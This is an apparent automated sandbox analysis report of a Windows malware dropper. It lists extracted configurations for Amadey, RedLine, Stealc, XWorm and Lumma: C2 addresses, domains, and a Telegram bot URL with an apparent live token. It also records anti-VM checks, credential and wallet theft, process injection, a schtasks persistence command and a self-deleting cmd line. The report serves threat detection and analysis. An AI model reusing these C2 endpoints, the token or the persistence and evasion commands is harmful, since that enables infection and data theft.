Analysis
-
max time kernel
73s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 04:52
Static task
static1
Behavioral task
behavioral1
Sample
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe
Resource
win10v2004-20240426-en
General
-
Target
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe
-
Size
1.8MB
-
MD5
d0593c9c56d1f897206d9e748570a458
-
SHA1
7d9311edff37e0a3ff87b4a6f29ff132455cb86e
-
SHA256
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6
-
SHA512
caec9aaa4467af46efc31b86e0a6acb2edc08e3ea64fc286cdc02d84fd804160d4fd01d383c900238e93e66900185e75ca495735d6054a5e7a693ecb62004309
-
SSDEEP
49152:STq1WoYcSibgIlCRMu6a8ge+aWstKFbUELMfpiL7Gj4:0ibg/NCDKBLMf9
Malware Config
Extracted
amadey
4.17
http://193.233.132.167
-
install_dir
4d0ab15804
-
install_file
chrosha.exe
-
strings_key
1a9519d7b465e1f4880fa09a6162d768
-
url_paths
/enigma/index.php
Extracted
redline
@CLOUDYTTEAM
185.172.128.33:8970
Extracted
redline
Test1234
185.215.113.67:26260
Extracted
stealc
http://52.143.157.84
http://185.172.128.62
-
url_path
/c73eed764cc59dcb.php
Extracted
xworm
5.0
127.0.0.1:7000
91.92.252.220:7000
41.199.23.195:7000
saveclinetsforme68465454711991.publicvm.com:7000
bBT8anvIxhxDFmkf
-
Install_directory
%AppData%
-
install_file
explorer.exe
-
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672
Extracted
lumma
https://affordcharmcropwo.shop/api
https://cleartotalfisherwo.shop/api
https://worryfillvolcawoi.shop/api
https://enthusiasimtitleow.shop/api
https://dismissalcylinderhostw.shop/api
https://diskretainvigorousiw.shop/api
https://communicationgenerwo.shop/api
https://pillowbrocccolipe.shop/api
https://productivelookewr.shop/api
https://tolerateilusidjukl.shop/api
https://shatterbreathepsw.shop/api
https://shortsvelventysjo.shop/api
https://incredibleextedwj.shop/api
https://alcojoldwograpciw.shop/api
https://liabilitynighstjsko.shop/api
https://demonstationfukewko.shop/api
Signatures
-
Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\1000239001\mstc.exe family_xworm behavioral1/memory/4792-468-0x0000000000720000-0x0000000000732000-memory.dmp family_xworm -
Detect ZGRat V1 6 IoCs
Processes:
resource yara_rule behavioral1/memory/4532-74-0x0000000000400000-0x0000000000592000-memory.dmp family_zgrat_v1 C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_zgrat_v1 behavioral1/memory/4588-119-0x0000000000C40000-0x0000000000D00000-memory.dmp family_zgrat_v1 behavioral1/memory/5424-1146-0x00000228528F0000-0x00000228561E8000-memory.dmp family_zgrat_v1 behavioral1/memory/5424-1152-0x0000022871370000-0x0000022871480000-memory.dmp family_zgrat_v1 behavioral1/memory/5424-1156-0x00000228708D0000-0x00000228708F4000-memory.dmp family_zgrat_v1 -
Glupteba payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/2636-872-0x0000000000400000-0x0000000001DFB000-memory.dmp family_glupteba behavioral1/memory/2208-859-0x0000000000400000-0x0000000001DFB000-memory.dmp family_glupteba behavioral1/memory/1032-873-0x0000000000400000-0x0000000001DFB000-memory.dmp family_glupteba -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe family_redline C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe family_redline behavioral1/memory/4500-106-0x0000000000690000-0x00000000006E2000-memory.dmp family_redline behavioral1/memory/4588-119-0x0000000000C40000-0x0000000000D00000-memory.dmp family_redline C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe family_redline behavioral1/memory/4940-198-0x0000000000900000-0x0000000000952000-memory.dmp family_redline -
SectopRAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3160-1196-0x0000000000B20000-0x0000000000BE6000-memory.dmp family_sectoprat -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exechrosha.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ chrosha.exe -
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 191 4308 rundll32.exe -
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 3 IoCs
Processes:
netsh.exenetsh.exenetsh.exepid process 5696 netsh.exe 3412 netsh.exe 5484 netsh.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exechrosha.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion chrosha.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion chrosha.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
RegAsm.exeNewB.exeISetup8.exechrosha.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation RegAsm.exe Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation NewB.exe Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation ISetup8.exe Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation chrosha.exe -
Executes dropped EXE 22 IoCs
Processes:
chrosha.exeswiiiii.exealexxxxxxxx.exetrf.exekeks.exegold.exeNewB.exejok.exeISetup8.exeswiiii.exetoolspub1.exelie.exeu3kk.0.exefile300un.exe4767d2e713f2021e8fe856e3ea638b58.exemstc.exerun.exeJo2FsUHJ8QIuhEFE7vjR0QrB.exeu3kk.3.exeURV5RPLY1bbixTsWLKUg9G2n.exeim2pn3wLt8yVZmFjme1yoSBb.exe3W2psTC02mMiB2JSVAQ2UblJ.exepid process 4924 chrosha.exe 5024 swiiiii.exe 4936 alexxxxxxxx.exe 4588 trf.exe 4500 keks.exe 3544 gold.exe 4644 NewB.exe 4940 jok.exe 4628 ISetup8.exe 4860 swiiii.exe 4592 toolspub1.exe 1284 lie.exe 3652 u3kk.0.exe 4768 file300un.exe 2208 4767d2e713f2021e8fe856e3ea638b58.exe 4792 mstc.exe 3696 run.exe 3672 Jo2FsUHJ8QIuhEFE7vjR0QrB.exe 5036 u3kk.3.exe 2636 URV5RPLY1bbixTsWLKUg9G2n.exe 1032 im2pn3wLt8yVZmFjme1yoSBb.exe 2724 3W2psTC02mMiB2JSVAQ2UblJ.exe -
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
Processes:
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exechrosha.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Wine ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe Key opened \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Wine chrosha.exe -
Loads dropped DLL 5 IoCs
Processes:
rundll32.exerundll32.exerun.exeRegAsm.exepid process 4108 rundll32.exe 4308 rundll32.exe 3696 run.exe 388 RegAsm.exe 388 RegAsm.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Pictures\3W2psTC02mMiB2JSVAQ2UblJ.exe themida behavioral1/memory/2724-687-0x0000000140000000-0x000000014072B000-memory.dmp themida behavioral1/memory/2724-874-0x0000000140000000-0x000000014072B000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 150 ipinfo.io 151 ipinfo.io 144 api.myip.com 147 api.myip.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exechrosha.exepid process 1596 ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe 4924 chrosha.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
swiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exerun.exedescription pid process target process PID 5024 set thread context of 3436 5024 swiiiii.exe RegAsm.exe PID 4936 set thread context of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 3544 set thread context of 2816 3544 gold.exe RegAsm.exe PID 4860 set thread context of 388 4860 swiiii.exe RegAsm.exe PID 4768 set thread context of 3704 4768 file300un.exe AddInProcess32.exe PID 3696 set thread context of 2456 3696 run.exe cmd.exe -
Drops file in Windows directory 1 IoCs
Processes:
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exedescription ioc process File created C:\Windows\Tasks\chrosha.job ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 8 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 1172 5024 WerFault.exe swiiiii.exe 2728 4936 WerFault.exe alexxxxxxxx.exe 1152 3544 WerFault.exe gold.exe 1664 4592 WerFault.exe toolspub1.exe 820 4628 WerFault.exe ISetup8.exe 5332 3672 WerFault.exe Jo2FsUHJ8QIuhEFE7vjR0QrB.exe 5196 3652 WerFault.exe u3kk.0.exe 5468 4568 WerFault.exe u2u0.0.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
toolspub1.exeu3kk.3.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3kk.3.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3kk.3.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3kk.3.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RegAsm.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RegAsm.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegAsm.exe -
Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 4700 schtasks.exe 3036 schtasks.exe 5916 schtasks.exe 1092 schtasks.exe 5472 schtasks.exe 5580 schtasks.exe 5136 schtasks.exe -
Processes:
keks.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 keks.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 keks.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exechrosha.exeRegAsm.exerundll32.exerun.exetrf.exepowershell.exekeks.exepid process 1596 ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe 1596 ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe 4924 chrosha.exe 4924 chrosha.exe 388 RegAsm.exe 388 RegAsm.exe 4308 rundll32.exe 4308 rundll32.exe 4308 rundll32.exe 4308 rundll32.exe 4308 rundll32.exe 4308 rundll32.exe 3696 run.exe 4308 rundll32.exe 4308 rundll32.exe 4308 rundll32.exe 4308 rundll32.exe 3696 run.exe 3696 run.exe 388 RegAsm.exe 388 RegAsm.exe 4588 trf.exe 4588 trf.exe 4420 powershell.exe 4420 powershell.exe 4500 keks.exe 4500 keks.exe 4500 keks.exe 4500 keks.exe 4420 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
run.exepid process 3696 run.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
Processes:
trf.exefile300un.exemstc.exeAddInProcess32.exepowershell.exedescription pid process Token: SeDebugPrivilege 4588 trf.exe Token: SeBackupPrivilege 4588 trf.exe Token: SeSecurityPrivilege 4588 trf.exe Token: SeSecurityPrivilege 4588 trf.exe Token: SeSecurityPrivilege 4588 trf.exe Token: SeSecurityPrivilege 4588 trf.exe Token: SeDebugPrivilege 4768 file300un.exe Token: SeDebugPrivilege 4792 mstc.exe Token: SeDebugPrivilege 3704 AddInProcess32.exe Token: SeDebugPrivilege 4420 powershell.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
Processes:
u3kk.3.exepid process 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe -
Suspicious use of SendNotifyMessage 7 IoCs
Processes:
u3kk.3.exepid process 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe 5036 u3kk.3.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
run.exepid process 3696 run.exe 3696 run.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrosha.exeswiiiii.exealexxxxxxxx.exeRegAsm.exegold.exeNewB.exedescription pid process target process PID 4924 wrote to memory of 5024 4924 chrosha.exe swiiiii.exe PID 4924 wrote to memory of 5024 4924 chrosha.exe swiiiii.exe PID 4924 wrote to memory of 5024 4924 chrosha.exe swiiiii.exe PID 5024 wrote to memory of 1224 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 1224 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 1224 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 5024 wrote to memory of 3436 5024 swiiiii.exe RegAsm.exe PID 4924 wrote to memory of 4936 4924 chrosha.exe alexxxxxxxx.exe PID 4924 wrote to memory of 4936 4924 chrosha.exe alexxxxxxxx.exe PID 4924 wrote to memory of 4936 4924 chrosha.exe alexxxxxxxx.exe PID 4936 wrote to memory of 3464 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 3464 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 3464 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4412 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4412 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4412 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4432 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4432 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4432 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4936 wrote to memory of 4532 4936 alexxxxxxxx.exe RegAsm.exe PID 4532 wrote to memory of 4588 4532 RegAsm.exe trf.exe PID 4532 wrote to memory of 4588 4532 RegAsm.exe trf.exe PID 4532 wrote to memory of 4500 4532 RegAsm.exe keks.exe PID 4532 wrote to memory of 4500 4532 RegAsm.exe keks.exe PID 4532 wrote to memory of 4500 4532 RegAsm.exe keks.exe PID 4924 wrote to memory of 3544 4924 chrosha.exe gold.exe PID 4924 wrote to memory of 3544 4924 chrosha.exe gold.exe PID 4924 wrote to memory of 3544 4924 chrosha.exe gold.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 3544 wrote to memory of 2816 3544 gold.exe RegAsm.exe PID 4924 wrote to memory of 4644 4924 chrosha.exe NewB.exe PID 4924 wrote to memory of 4644 4924 chrosha.exe NewB.exe PID 4924 wrote to memory of 4644 4924 chrosha.exe NewB.exe PID 4644 wrote to memory of 3036 4644 NewB.exe reg.exe PID 4644 wrote to memory of 3036 4644 NewB.exe reg.exe PID 4644 wrote to memory of 3036 4644 NewB.exe reg.exe PID 4924 wrote to memory of 4940 4924 chrosha.exe jok.exe PID 4924 wrote to memory of 4940 4924 chrosha.exe jok.exe PID 4924 wrote to memory of 4940 4924 chrosha.exe jok.exe PID 4644 wrote to memory of 4628 4644 NewB.exe ISetup8.exe PID 4644 wrote to memory of 4628 4644 NewB.exe ISetup8.exe PID 4644 wrote to memory of 4628 4644 NewB.exe ISetup8.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe"C:\Users\Admin\AppData\Local\Temp\ea58b781b3e142012c522bc21df755b13f267eb652a8f0a2cfb21c4739e666b6.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exeC:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 8763⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 3683⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3544 -s 3683⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000228001\ISetup8.exe"C:\Users\Admin\AppData\Local\Temp\1000228001\ISetup8.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\u3kk.0.exe"C:\Users\Admin\AppData\Local\Temp\u3kk.0.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3652 -s 33205⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\u3kk.2\run.exe"C:\Users\Admin\AppData\Local\Temp\u3kk.2\run.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\u3kk.3.exe"C:\Users\Admin\AppData\Local\Temp\u3kk.3.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 5924⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000229001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000229001\toolspub1.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 3524⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000230001\4767d2e713f2021e8fe856e3ea638b58.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
